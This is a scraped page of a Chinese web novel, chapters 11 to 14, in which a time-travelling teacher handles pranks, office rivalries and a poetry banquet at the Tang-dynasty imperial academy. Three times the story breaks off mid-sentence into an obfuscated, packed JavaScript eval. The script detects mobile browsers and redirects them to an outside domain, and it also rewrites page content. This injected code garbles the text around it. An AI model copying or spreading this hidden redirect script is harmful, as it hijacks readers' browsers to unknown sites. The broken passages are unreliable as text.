又是个辗转难眠的夜晚,津守吉祥盯着房梁,试图用意志力把身旁两人都消灭掉。忽地听见隔壁房间有人在轻哼着歌,熟悉的家乡小调,似是在哄着另一人。 他听了会儿,渐渐闭上眼,沉睡入梦。 翌日清晨, 难得睡了个好觉的津守吉祥从床榻上坐起,望着窗外骤雨初歇的好天气发了会儿呆。真好啊,人生就应该如此,他眯起眼睛感悟晨曦微弱的光晕。 可惜这宁静时刻并未持续太久。 有人推门而入,拽着他的袖子激动地说:“吉祥!老大需要帮助!” 没等他吐槽这大清早有什么帮助可帮,就被河边惠日一路踉踉跄跄拽到国子监门口。 喘着粗气,他指着门口那涨红了脸、眼眶满是倔强泪水的纪长谷雄,头次被惊讶到说不出话。 这家伙竟然还会被别人气哭?! 瞧了眼正得意洋洋呵斥纪长谷雄的另一人,他瞬间明了,怪不得,原是早就得罪过的李主簿。 只因前几日,他们几人不小心把藏书楼中的一层书推翻,压在李主簿身上,让对方躺在太医署休养好几日。 见自己老大被人如此欺负,河边惠日已经冲了出去,大声嚷嚷着:“老大!我来助你!” 一脚把李主簿铲倒,场面顿时安静几秒,只能听见李主簿捂着老腰的哀嚎声。 津守吉祥扭头就想跑,现在还帮吗?别帮了好不好。目光瞥见停在路边阴影处的马车,隐隐可从里面看见白夫子的面庞,他犹豫两秒,不是有个成语叫“法不责众”吗? 再加上他,会不会看在人多的份上轻罚一些。 想到这里,津守吉祥调转脚步,也闭眼冲了出去。 “谷雄、惠日、让我们一起回去吧!” 他在心中呐喊着,然后左脚绊右脚,把好不容易站起来的李主簿再次铲倒。三个人叠叠乐,成了诡异的量子纠缠状态。 被压在下面的河边惠日露出个灿烂笑容,对站在一旁愣神抹眼泪的纪长谷雄喊道:“老大!别害怕!我们来帮你啦!” …… 白果下了马车,刚刚还是李林甫和学生的1v1对骂战,现在变成1v3单方面训斥。 她也顺带听了会儿,真厉害啊,不愧是有“口蜜腹剑”典故的李林甫,不但阿谀奉承说得好听,骂起人来也毫不含糊。 真可谓引经据典、旁征博引、妙语连珠、出口成章,如果阴阳怪气也有等级,这人算得上最顶尖的那一批。 好想拿笔记下来,作为一个大脑词汇贫瘠的对骂差生,她就缺这么一张好嘴巴。 还未等白果发话,三个站在墙角罚站的学生已经望了过来,眨巴着水灵灵的大眼睛,像是看到救世主般,一同喊道: “白夫子!” 顿住脚步,这时倒记起她的存在了。 李林甫转过身,面色晦暗,身上粘满混在青砖瓦缝的尘土。昨日积水未散,让这尘土变成了泥,搅合在衣服上,显得狼狈至极。 他胸中憋着气,显然刚刚和几个小毛孩儿对骂完全解不了他的怒火。瞧着已然站在面前的白果,眼前一亮。 哼,好啊,这下算是主动送上门来了,他定要把昨日之怨和今日之仇一并发泄出来。 李林甫酝酿着开口,想着把自己利益最大限度发挥。然而这小娘子依旧全然不按常理出牌,直接向他道歉,语气真挚:“李主簿,是我管教不严,这几名学生冲撞了您实在让我痛心疾首。” “你…” “不,都别说了。”白果打住对方的话,表情严肃地指着贴在墙角的三名学生,她语气深沉道:“你们民族是不是有那个,切腹自尽?” 忽然从袖带里抽出把切菜刀,递了过去。 “现在,就去向李主簿谢罪吧。” 捣蛋三人组瞬间瞪大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735571|174085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛,不…不至于吧! 连带着李林甫也迟疑几秒,等等,这不是他设想的结局。明明应该用自己灵巧的嘴巴好好打压这小娘子的锐气,而不是现在这样…直接闹出人命。 不会是装出来的吧? 那边,泪眼汪汪的河边惠日接过切菜刀,他用悲壮的语气留下最后遗言:“我愿意替你们受罚,老大!” 纪长谷雄这下真的忍不住了,倔强的泪水夺眶而出,紧紧握着对方的手,带着点儿颤音:“惠日,要死我们三兄弟一起死!” “不,我不想死啊!”唯有津守吉祥用力扒拉着门框,完全不想被拖下水。拜托,麻烦好好想一想,白夫子刚刚那个眨眼是什么意思啊喂! 忽然想起什么的河边惠日抽了抽鼻子,问道:“老大,能不能把小红花给我戴一戴,我也想要。” “不行,这是独属于我的荣耀。” “那等我做鬼后再找老大借吧。” 没问题吗?!为什么在这种时刻还在想着那个无关紧要的小红花啊!而且怎么会有人做鬼后的愿望是这么奇怪的东西啊? 津守吉祥疯狂在内心叫嚣着这一切的一切,最后被迫夹在两个笨蛋中间,上演又一场兄弟情深。 “好了好了,李主簿已不再追究你们的过错了。” 一道声音把他们唤醒,抬头看去,是难掩笑意的白夫子。 果不其然,那从未见过如此诡异场面的李林甫已经跑路,背影看起来略显仓促,生怕下一秒就有人在他面前切腹自尽,血洒当场。 一块手帕塞进了纪长谷雄的手中,他看起来呆呆的,眼眶泛红,低头瞧了瞧手帕,又瞧了瞧夫子,反应迟钝半拍:“所以,惠日不用切腹自尽了吗?” “老大,你好笨。” 河边惠日把菜刀递给了白夫子,面色如常,仿佛刚刚的生离死别全然是错觉,认真道:“夫子刚刚向我们眨眼睛,她告诉我‘假装切腹自尽,然后上演一出精彩的表演,让李主簿自己吓自己’这样就可以既往不咎,躲过批评了。” 他说完这一长串话,扭头去看白果,用手指了指自己的额头。 白果心领神会,往那上面贴了个小红花。 “耶!老大,我也有小红花了!” 老大没有搭理他,深呼吸几口气,脸涨得通红,看样子三人组要闹点儿小矛盾了。 津守吉祥从地上站起,他瞧着两人打闹的身影,识趣的没凑上去。没想到惠日竟然能看懂夫子的眼神示意,这家伙绝对是装的吧,是那种看似单纯,实际上满肚子坏水的人。 揉了揉被拽得通红的手腕,想要向白夫子道谢,毕竟今天这麻烦全是他们几人闹出来的。 拍拍身上的灰,他正打算行礼,就感到额头上被贴了个东西。 抬眸看去,是白夫子温和的笑容,她说:“吉祥也是个聪敏的学生,奖励小红花。” 摸了摸额头的贴纸,津守吉祥头次感到几分难以形容的喜悦,怪不得,怪不得他们都争着要这花,原来竟如此神奇。 …… 【系统:用神奇方法解决学生与老师矛盾——不扣分也不加分】 【系统:[津守吉祥]、[河边惠日]、[纪长谷雄]心理健康线开启】 【系统:微妙开导了[津守吉祥]+2分】 12. 第 12 章 “女郎这招以退为进实在精彩。” 看完整场好戏,慢悠悠摇着折扇出场的陆象先倒显得气定神闲,一副悠哉游哉的模样。 他下了马车,从围观群众中走出。 吃完瓜的同僚们这才惊觉闹剧已经悄然结束,便一哄而散,恢复以往平静。相信不消半日,整个国子监就会流传起“李主簿逼迫学生切腹自尽以谢罪”的惊悚传言了。 悄咪咪把菜刀重新塞回袖带的白果在心里默默翻个白眼。 真是好一招借刀杀人。 这人分明就想看她和李林甫对骂,还说什么发泄怒火,听起来倒是好听,可她一个小小的国子监直讲,九品芝麻官,有什么胆量和勇气向李主簿撒火。 再不懂人情世故,也要懂得区分官职大小,数字总能看明白吧。 没有强硬的背景和雄厚实力,怎么会有人敢和领导呛声?反正她还不是那种有勇气整顿职场的新人。玩弄权术可以,但请不要擅自把炮灰拉入战场。 她只是看起来比较天真,背地里实际上是一只运筹帷幄的童脸狼。 脑中闪过无数念头,白果面上不显,只轻轻拍去身上并不存在的灰尘,也漫不经心打着太极,摇头道:“以退为进是何意?希仲兄这话说的不对。” 她也抽出腰间别着的折扇,用力一甩,只听得“啪”的一下清脆声响。 “知错能改,善莫大焉。足够真诚,才可获得谅解。小女子也不懂什么大道理,冒犯到李主簿,自是小女子的不是。” 摇着扇子,点头示意后便转身离开。 望着那翩然离去的背影,陆象先脸上的笑意淡了几分。有人走至他身旁,显然是听见了他们二人之间的对话,微微侧头道:“白女郎话中意有所指。” “是吗?可惜在下德薄才疏,全然不知所指为何?不如——” 陆象先将折扇一收,扇端轻放在身边张九龄的肩头,挑眉反问一句:“让张司业来教导指点一番,如何?” 两人对视几秒。 张九龄伸手拂去肩头的扇子,眉间凝着正色,直接了当地指出:“陆录事未免忧虑过多,如此便是自乱分寸。” 他说话向来直白,但同样也是看得最清晰明白的人。只是按照以往的印象,从没想过陆录事竟会有这样一面。 如今正天下太平,便是要打压奸党也不需如此急迫。 缓而图之,则为大利;急而成之,则为大害。 听到这话的陆象先没再说什么,神色淡然,眸中闪过几缕愁思。如此浅显的道理,他如何能不明白。 低着头,自顾自喃喃道:“你可知,有人曾对我说过……盛世将颓。” 声音很低,除了他自己外没人能听清,也没人能看见。 他又看向广阔天空,只见朝阳初升,将一切黑暗吞噬,今日似乎也是极为寻常一天。 —— 讲堂外, 白果双臂抱胸,用犀利眼神盯着面前的学生。 “夫子,都是我的错。” 眼泪还未拭尽的纪长谷雄低着头,声音依旧哽咽,看样子是真被刚刚发生的事情吓坏了,现在还没缓过来。 哭着哭着,还有心情偷瞄夫子一眼,然后立马被抓包。 听得白夫子咬牙切齿的声音,扬起沙包大的拳头威胁道:“若是再这样,夫子不介意让你真的哭出来。” 【系统:教师不可以做出任何体罚行为】 她只是吓唬吓唬而已! 身后门缝中钻出几个小脑袋,是纪长谷雄的两个小弟,还有第一堂课就被他嘲笑口音的波斯同窗,拥有一个很容易记错的名字——阿班达。 他倒是个钝感力十足的,被人嘲笑也不在乎,只有个傻乎乎的开朗笑,让人只能自己窝火。 现在正趴在津守吉祥的脑袋上,好奇向外盯着夫子训斥学生的场景,一头棕色长卷发在几个脑袋里显得格外突出。 被迫夹在中间的津守吉祥不想说话,他只觉得疲惫。 怎么办,为什么会有人一声不吭就凑到别人身边,这样真的符合礼仪吗?还有,为什么这家伙身上有股形容不上来的奇怪味道。不对,重点是,他为什么要在这里呆着。 垫在最底下的河边惠日被长发遮挡住些许视线,随口嘟囔一句:“你是不是想要看老大的笑话,太坏了。” 由于他说的是日语,阿班达没大听懂,秉承着不动就问的好习惯,他蹲下身,依旧是不怎么熟练的汉语:“泥嚎,窝叫阿班达,你人很好,愿意交好友吗?” 总是能抓住话语中奇怪部分的河边惠日眼睛瞬间亮晶晶起来,当然,他可是这个世界最好的人,也是老大最好的帮手! 于是满意点点头,道:“没错,我是好人,你也勉强算是个不好不坏的人。” 听出对方口中的夸赞意味,阿班达十分开心,露出个带有虎牙的灿烂微笑,两人暂时结为好友。 只有津守吉祥感到几分迟来的不对劲,这样就算是成功交到朋友吗…如果世上所有人都像他们两人一样便好了。不对不对,他们本来是打算偷看纪长谷雄的吧,那现在—— 一道人影遮挡了阳光,三人猛地抬头一瞧,正是笑眯眯的白夫子。 “呦呵,还有几个放哨的。” 完蛋了—— 这是下意识想要逃跑的津守吉祥,而另两个笨蛋则是若无其事的向夫子打招呼。 白果瞧着面前神态各异的几人,挥挥手,故作倔强的纪长谷雄从身后走进教室。他紧抿着唇,一副忧心忡忡的模样,还掺杂着那么点儿心虚。 见自己的小弟正关切看着他,把脸一摆,又恢复了原来那股傲气:“别在这里站着了,夫子已经原谅了我们。” “老大,我就知道你是最厉害的!” “哼。” 看见对方贴在脑门的小红花,又让他想起了河边惠日刚刚的背叛。 纪长谷雄有点儿爱搭不理的小脾气,加上现在繁杂的心事,没再说什么就直接回了自己的桌案旁,扣着手指发呆,是个明眼人都能看出他此时的纠结情绪。 津守吉祥试着问了问,但没得到确切答复,他总觉得有些怪怪的。 就像这里的古话:事出反常必有妖。 “没,没什么事,吉祥你别打扰我。” 欲盖弥彰的纪长谷雄直接趴在书案,头也不抬的闷声道。 津守吉祥:……这样未免也太明显了吧。 他叹口气,算了算了,反正这家伙根本藏不住任何心事,等过段时间再套话套出来吧。 回到自己桌案旁坐下,他撑着脑袋,无意间瞥见窗边的小野篁,浑身下意识打了个冷颤。 而导致纪长谷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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紧接着,一个脑瓜崩击碎了他的未来大业。捂着头,拿着鸡毛当令箭,纪长谷雄直接道:“我要记下来告诉白夫子!” 哦不对,好像弹他的人就是白夫子本人。 白果无奈地看着眼前这个已经开始滥用权力打小报告的学生,总能幻视到许多中小学时期的同学身影。 这样真的能行吗?或许吧,反正试试看也无所谓。 【系统:巧妙利用班级职务设置,增强顽皮学生的责任感与自信心,虽后续效果需长期验证,但依旧为名师之举。】 【系统:+5分】 站在讲堂后的窗户外,白果用小拇指将纸糊窗户戳了个小洞,偷偷观望里面上课的情况。 她目前的职位有点儿像大学里的辅导员,一周只有几节课,更多的则是调节学生矛盾、保护学生心理健康,尽快融入新的环境。 里面的上课情况倒还算和谐,毕竟是来到大唐学习,总归有求于人,所以该有的态度都不能少。 她趴在窗户上盯了好一会儿,坐在中后排的纪长谷雄笔耕不倦,两眼放光地写写画画,连怼人的爱好都消停不少。或许一周过后,那个小报告本可以收获满满了。 白果忽然理解了从前的班主任,原来悄悄偷看学生是那么有意思的事情。直到腰酸背痛后才收回目光,想找个地方歇歇脚。 不过没等她找好地方呢,就被贺知章找到。邀请她参加算是特意为她准备的,新同僚入职聚餐。 “今日佳宴,女郎且同去。” 啊……我吗? 13. 第 13 章 国子监内修有一条弯弯绕绕的小溪,水流不急不缓,极为清澈。头顶古柏茂盛,此时已见青绿,水面除去叶片外还飘荡着大片的落花,是正逢花期的玉兰树,枝桠低垂,搅乱这池春水。 动静结合,颇有情趣。 原先倒未发现有这么个钟灵神秀的地方,看样子是专门为了酒宴设计的。只可惜美景在前,却无心观赏。 因为这世上最为恐怖的情形正呈现在眼前:公司团建但自己是初入职场的新人,领导脸还没认全,只能尬笑着打哑谜。 如果不是很凑巧的,刚好处于唐朝职场,有个名叫「曲水流觞」的高雅娱乐团建活动正等着参加,那么恐怖程度还要再上一层。 跪坐在席旁,虽说臀部有支踵的支撑,白果还是觉得小腿发麻,心不在焉地观察四周情形,满脑子都在想:可以找什么合理理由离开这里? 她暗自思忖着,余光瞥见对面穿着素白长衫的陌生同僚,看起来年纪不大,身形颇为消瘦,却不显羸弱,反倒透出一股清逸之气。眉间随意散落的几缕青丝,更添几分出尘之姿。 此时正低头浅酌杯中清酒,一举一动颇有隐士风范。 似是察觉到他人目光,微微抬眸看去,和白果对上视线,那衣袂随风轻扬,若山间清风。 她心中惊叹,好个俊俏的小郎君! 对方抬起酒杯,心照不宣地点头示意,气氛倒不显尴尬,有种莫名的默契在其中缭绕。 这人实在有些眼熟,好像贺导师在第一天任职时向她介绍过......但人名太多,一时想不起来。 白果收回目光,盯上果盘里晶莹剔透的紫葡萄,个头挺大,可惜不甜。但她不甚介意,自从到了长安,还没吃过一点儿水果,自家后院的枇杷又颇为酸涩,尝不得。 现在嘴里有了些滋味,她又琢磨起,该怎么悄无声息地带走这些水果。 毕竟俗话说得好:谁知盘中果,粒粒皆辛苦嘛。 随手用筷子拨弄正在炉火上烧制的梨子,这时候正流行着炉端烧梨的吃法:将梨子蒸熟或烧烤至熟后食用,以达到生津润肺、消痰解醉的功效。 今日一试,确实颇为有趣。 她一时兴起,把旁边放置的调料都撒了上去,只听得劈里啪啦的声响,然后这烧梨散发出难以言喻的怪异味道。 白果捂着鼻,想要趁人不注意,将这坏梨扔进水渠里涮一涮,可惜还没来及动手就被对面的小郎君抓包。 他伸出手,向白果讨要那梨,“若是不愿,给我便是。” “你当真想要?” “自然。” 白果狐疑地看着对方接过梨,慢条斯理拨开外面已被烤糊的一层,分割成均匀的几块后用手捻起其中一块,吃了下去。 “......好难吃。” 说话倒是意外实诚。 白果从袖带里拿出几块水果糖扔了过去,挑眉道:“是饴糖,拿着压一压那梨的味道吧,这位勇气可嘉的同僚。” 小郎君握着糖怔愣两秒,意识到对方或许还不知道自己的名字,这才拱手道:“某姓李名泌,辽东人士,字长源。” 不怎么懂得古人官场社交礼仪的白果只是点点头,手上又开始捣鼓下一个受害梨,嘴上也不忘恭维几句:“久仰大名,久仰大名啊。” 但那脸上哪里看得出丝毫“久仰”,分明是“你谁?”的模样。 李泌倒不在意,他又吃了一块刚刚的烧梨,皱起脸,还是好难吃。能把梨烤成如此口味,这白女郎也真是有点儿本事。 用饴糖压下口中残味,他犹豫着再次拿起一块...还是好难吃。 就在李泌这么一颗饴糖一块梨来回交替时,又有一大颗怪味烤糊梨出现在自己面前。 抬头看去,是笑容满面的白女郎,她说:“既然李大人喜欢,那就多吃点儿。” 李泌:......多谢。 许是白果在酒宴角落里摸鱼摸得太过安逸,时不时观望着的某人终于坐不住了,想要给她找点儿麻烦事。 那酒杯顺着河渠一路漂流而下,以不符合物理学定律的标准,恰好停在了诗律天赋为零的白果面前。 她正准备暗搓搓把石榴籽放上去烤,意识到酒杯停住后笑容直接僵在脸上。 本来热闹的酒宴氛围停滞几秒,所有人的目光都不约而同看向那极为显眼的女子身上。 或者说,刚刚的一切都是刻意扮演出来的和谐假象,众人那有意无意的打量和试探足以让常人坐立不安,只是并未对她生效。 也不知这白女郎是演出来的,还是她当真不懂得这场鸿门宴的意义。 找准时机的李林甫笑眯眯指着酒杯,故作惋惜道:“白女郎勿要推辞,这宴会本是让女郎一展文采而设。朝闻道,夕死可矣,若是今日听不得佳作,定要遗憾终生啊。” 与之一派的其余人也纷纷附和起来,说得那叫一个天花乱坠,让人不免怀疑他们已在私下演练多次,才可做到如此绘声绘色的地步。 白果捏碎指尖的石榴籽,面带假笑,心中不停咒骂着李林甫。 好家伙,原来在这里等着她呢。 下意识看向自己的熟人: 陆象先正喝着酒和旁人闲聊,一个关切眼神都没分过来;贺知章在不久前离席,此时未归;只有那一面之缘的张九龄正观望着她,不过也未露出明显神色,平静的面庞仿佛在看陌生人。 好冷漠的职场,好歹毒的人心。 她生出几分闷气,你们都不看好我,我偏要大显身手,看你们如何追悔莫及! 将指尖的石榴汁拭去,她一边慢悠悠拿起河渠中的酒杯,一边疯狂转动大脑:快想想,有什么千古佳句可以套用在现在的场景。 苏轼的《水调歌头》或许可以勉强一用,定让所有人瞠目结舌,惊呼:此女竟有如此惊世之才?! 想到如此场景,白果直接拍案而起,还没等她气沉丹田、准备背诵时,一道冷漠电子音敲碎了她的文学梦。 【Tea:学员您好,本培训不支持文抄公,请动一动您聪明的脑袋,想想该怎么应对吧~加油哦!】 好,很好,非常好。 在众人惊讶的目光中,她又缓缓坐下。 没办法,刚刚起太快,腿麻了。 坐在首席位置的中年男人轻咳两声,本来喧杂的酒宴瞬间安静,唯有风过叶片的簌簌声。 他环视一圈,那股威压让人下意识屏住呼吸,缓缓道:“寻常宴会,点到即可。” 听到这话的李林甫知晓这正是在点自己呢,许是今天这表演略显夸张,但无碍,他就是要让国子监的同僚都知道: 这小娘子是个无才无勇的家伙,不足为惧! 于是故作大度劝慰道:“自然自然,张相公说得极是,白夫子若是不愿,自罚一杯便是了。” 这张相公便是当朝宰相,张说。 今日得闲,加上李林甫有意无意提及:那由圣人亲自批准任职的白女郎也会出席酒宴,他便来了。 拂过长须,张说看向那低垂着头,一言不发的白女郎。 他也从最开始就暗中打量对方,不过也是头一次见这样的人:明显对官场之事颇为青涩,眼中没有任何对权术的渴望,只想着吃了。 心中有些许了然,许是圣人一时兴起。这白女郎本性不坏,只是不大适合这里,等过段时间,让人把她调走吧。 心中有了判断,也不想再浪费难得时间参加这无意义的宴席,刚想发话,便听得有人朗声道。 “既然李主簿如此渴望听见小女子的‘道’,那便献丑了。” 正是刚刚被他认为毫无仕途的白女郎,只见她高举酒杯,目光如炬,简直与刚刚判若两人。 “这以景作诗已经没甚新意,不如以声律为题,如何?”微微摇晃手中酒杯,杯中清液闪着波光。 “可。” 张说摆摆手,允许了白果的改题,同时也心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735573|174085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀几分好奇。 她起身念道:“云对雨,雪对风,晚照对晴空。来鸿对去燕,宿鸟对鸣虫。三尺剑,六钧弓,岭北对江东。人间清暑殿,天上广寒宫。” 用词通俗易懂,读起来也是朗朗上口,虽说算不上诗,但也是巧妙绝伦,颇有新意。 末了,白果用无人能听见的气声弱弱补充一句:引用自清代车万育《声律启蒙》。 这样就不能算我文抄公了!读书人做的事,怎么能叫抄呢?那叫借鉴。 【Tea:…算学员巧妙引用课本知识,下不为例。】 听完这声律之诗的李林甫脸色不佳,虽出师不利,但他还有后招。 还未等他继续发话,白果转身对着张相公的方向,毕恭毕敬道:“在座诸公皆才高八斗、满腹经纶,小女子初入仕途,学识浅薄,还望诸位不弃愚钝。日后定当勤学不辍,虚心求教,以期精进。愿为国子监、为圣人、为大唐竭尽绵薄之力,鞠躬尽瘁,死而后已!” 语毕,她直接喝完杯中清酒,拱手坐下,整个动作行云流水,颇为潇洒。 狂且谦卑。 “好、好、好!”张相公大悦,一连说了三个好字,他看人向来毒辣,只是这段话、这周身不凡的气质,就足以窥见此女并非池中之物。 张说恍惚间竟从她身上看见故人之姿。 只是可惜...... 他也起身高举酒杯,杯中琼浆微微荡漾,几片残花飘落,似是可从中映出另两人的幻影。 可惜身为女子,最终只能落得刀光残血、毒酒一壶,尸身无处寻。 记忆被悄然揭开隐晦的一角。 圣人如今又是何意?他感到久违的惶恐,又不愿细想。罢了,总归事已如此,多加照看便是,只希望这位白女郎,莫要走到那一步。 若只踏踏实实在国子监当个夫子,也不错。 心中思绪一晃而过,张说也将杯中酒饮尽,他笑呵呵对着身旁的李林甫道:“不知李主簿今日闻道否?” 李林甫挂着假笑,咬牙切齿回话:“白女郎真当让人刮目相看,某受教。” 张说不语,拂须后离了宴席。 没了最大的顶头上司压着这气氛也变得活跃起来,众人跃跃欲试,想要跟刚刚大展身手的白女郎套个近乎。 只可惜被人抢先一步, 正是那还在往嘴里塞烤梨的李泌。 两人隔着河渠,有一搭没一搭闲聊起来。 李泌瞧着还在孜孜不倦把所有水果放在烤架上的白女郎,难得有几分想笑。 他含着梨子味的饴糖,口中满是香甜,便是最好的糖贩也做不出如此工艺。 “女郎的饴糖是从何处购得?”李泌想起家中日益消瘦的妹妹,开口询问道:“舍妹近来食欲不振,想来这些饴糖会有一用。” 听到这话白果来了兴致,终于舍得把视线从烤架挪开,故意压低声音说:“是西市一个神秘商人,但不同于寻常的钱货交易,而是需回答他的问题。若是对了,便可随意从中选走一样,若是错了——” “错了会如何?” “便会变为家畜,此生不得为人。” 李泌听完这故弄玄虚的故事后沉默两秒,起身便要向外走,被白果拽住裤脚,以为是自己的故事吓到了对方,连忙喊道:“你要作甚?” “找你口中的神秘商人,那定是位得道高人,我要向仙人讨要修炼之术。” 他说得自信,仿佛已经看见自己炼成不死之术,变成乘鹤飞升的神仙。 白果没拦住对方,只得看着李泌远去的背影,衣袂在风中轻舞,步履缓平轻巧,清逸如鹤。怪不得这人看起来就有股仙风道骨之气,原来是修道的。 只希望他知道真相时不要找自己来讨要说法。 鼻尖忽地嗅出烤糊气味, 糟了,她刚刚烤的梨子! …… 【恭喜学员结识第四位好友/同僚:李泌】 14. 第 14 章 白果向来不是个记仇的人,所以她打算以德报怨,把自己烤糊的烧梨包装好,送给刚刚冷眼旁观的好邻居陆象先。 希望他不要嫌弃这份简陋的礼物。 至于如此有心意的礼物为何没送给其他人,原因很简单,她惹不起。万一吃坏肚子,那她可就成了千古罪人。 究竟什么时候可以推翻封建统治,已经开始怀念人人平等的现代社会了。 白果百无聊赖的继续烤着水果,左右无事可做,不如在这里消磨些时间,算是以正当理由摸鱼。 所以,她赖到了最后。 这次宴会举行了一整个上午,果酒度数虽不高,但也禁不住一直喝。这不,已经有那么几个喝得晕乎乎的同僚开始发酒疯,高呼要学那魏晋名士,也解衣抒怀。 让收拾残局的仆役们又感到头痛,想来今日定是需要忙上许久。 管事正吩咐着刚刚招进来的几个杂役去打扫卫生,一人负责一块区域。特意叮嘱那患有口吃的新员工,切勿毛手毛脚,得罪了贵人。 他连连点头,拿上打扫工具走到了自己负责的地方。 还未等他将桌上残余清理,幽灵般的声音忽地在背后响起,吓得他下意识将手中东西丢了出去。 听得慢悠悠的说话声:“请问这些果子,我可以带走吗?” 还是个吃素的精怪呢。 “当然...当然可以!” 奇怪,这嗓音有几分熟悉。 他颤巍巍扭过身,原来竟是老熟人,是那日茶肆里误打误撞相识的白女郎,未曾想能在这里重逢。 顿时松了口气,俯身将地上的扫帚捡起。 白果也认出了对方的身份,无他,只因他的姓名实在惊艳,连她这个记性不算好的人都颇为深刻。 名为,月韶光。 春日之熙为韶,流年岁月若光,唯有清风明月不会轻易逝去,亘古常青。 不免让她联想到那句诗——人生代代无穷已,江月年年望相似。 当真是个好名字。 记忆中他还有个兄长,具体的家庭情况倒不知,两人还没熟到那个地步。 对于这人,除去姓名和口吃的印象外,还有个很有趣的:会为了接触当今有名的诗人去应聘各种杂职,简直是古代版狂热私生饭。 上次在西市茶肆的相识,就是他为了能看见李太白在那里当店小二。 见月韶光今日出现在国子监,想必他又得了什么消息。 奇怪,若是一个普通人都可以得知国子监内部酒宴的消息,那这里的安全漏洞未免也太多了吧。 注意到白果愈发狐疑的目光,月韶光顿了顿,颇有些不好意思地说:“兄长是,是梨园弟子,消息,消息灵通些。” “敢问令兄名讳?” “月牙儿。” 他不假思索道。 这名字……怎么说呢,虽算不上难听,但兄弟之间的差距着实有些大。 月韶光挠了挠脸颊,对方的反应倒也常见。比起琴棋书画样样精通的兄长,他实在过于普通,可取名却偏偏反了过来。 真奇怪,不管想了多少次还是很奇怪。 白果轻咳两声,即便再迟钝的人也能察觉出几分不对劲,急忙转移话题道:“今日你是为了哪位诗人而来?” 月韶光本来疲惫的眼睛瞬间亮起,附在她耳边轻声说:“是李泌,李大人。” “哦,为何?” 他揉搓着自己的粗布衣裳袖口,有些难以启齿,但偶像的力量还是让他鼓足勇气说了出来,并且语句流畅,不带任何卡顿:“有位仰慕李大人许久的人和我做了个交换,若是我搞到李大人用过的东西,就可以从他口中得到太白诗人的新踪迹...如此,我便来了。” 听起来就不大靠谱。 再者,古人追星也有如此狂热势头吗?想起把白居易的诗全部纹在身上的疯狂粉丝。 好吧,许是自己见识不多。 白果没忍住想要提醒两句:“你如何能确定对方一定知道李白的踪迹?” 就算是她这个文学水平不高的人也知道,李白向来飘无定所,做事随心所欲。像是随机刷新的特殊npc,想要准确捕捉到李白的身影着实有些难度。 “他不会骗我。”月韶光难得固执道:“他说他字浩然,是整个长安城里唯一知道太白诗人的人。” “姓孟?” “然也。” 若是孟浩然的话,的确配得上如此头衔。 只是...他为什么会想要李泌用过的东西?未等她想出答案,那眼观六路、耳听八方的管事已经注意到交谈甚欢的两人,厉声喊道: “那边的,别偷懒!” 月韶光打了个激灵,整个人从狂热粉丝状态中抽出,拿着工具弯腰小心擦拭桌案,还不忘向白果继续解释一句:“有个,有个叫杜甫的人,也在和,和我抢。绝不会让他,让他成功的!” 见到此幕,白果叹息般摇摇头, 李白啊李白,你可真是个罪恶的男人,引得无数人向你折腰。 时辰不早了,在这里呆着也无聊。 别过月韶光,白果咬着几个从别人席位上顺来的果子,慢悠悠转悠回自己的办公室。 国子监内部配有专门的书房,不过官职低的自然没有优待,大多是四到六人为一间。平日就在书房里办公,处理事务。 白果一般是不愿来这里歇息的。 原因无他,当看见所有同僚都忙得脚不沾地,而自己则是坐在地上发呆玩手指时,那种无所事事感让人非常窒息。 不过今日她是别想清闲了。 不远处,贺知章正抱着厚厚一摞书籍向她走来。 将门推开,白果主动分担部分书籍,两人一同放在了属于她的办公桌上。 书籍没有封面,样式也很新,不像是教辅书,她好奇翻了几页,里面竟都是空白。 贺知章替她解答:“此为教案和听课记录本,以天为记,各写一本。” 听到这话的白果瞪大眼睛,为什么唐朝也会有如此恐怖的教案设计?! 【Tea:学员您好,教案是教师在教学过程中的指导工具,通过编写教案,可以提高教师的教学效果、促进教师发展、保证教学质量、提供教学依据。考虑到学员目前还没有授课经验,每周至少听课五节,并将教学重难点书写至听课记录本,别忘了写下总体评价与建议~】 这下是真的天塌了。 贺导师把即将滑跪的白果扶起,语气里带了些许无奈:“若有不懂之处,询问萧学正便是。” 听见自己的名字,有人把头从宣纸中抬起,脸上沾染着墨汁,素白衣料上也晕着深浅不一的墨痕,仿若一幅天然而成的水墨卷画。不过最引人注目的还是他漆黑如墨的双眸,像是宣纸上轻轻一点,晕开的那一抹深邃。 他眨了眨眼,眼波流转间墨色在水中化开,这才缓缓道:“既是贺监丞所托,某定当竭尽所能。” 话音刚落,他就闭眼晕倒在案几,沉沉睡去。 见此情形,白果和贺知章面面相觑。 导师,要不换个靠谱点儿的人怎么样? 读懂白果眼神的含义,贺知章摇摇头。 倒也想换其他人,只是最近公务繁忙,想来想去,除了萧诚、也就是萧学正外,还真找不出另一个空闲之人。 虽说萧诚看起来不甚靠谱,但当他从笔墨纸砚中清醒后,那便是个思慧敏捷、一丝不苟的人物,在书法上更是颇有造诣。 只可惜, 这人难得有清醒的时间。 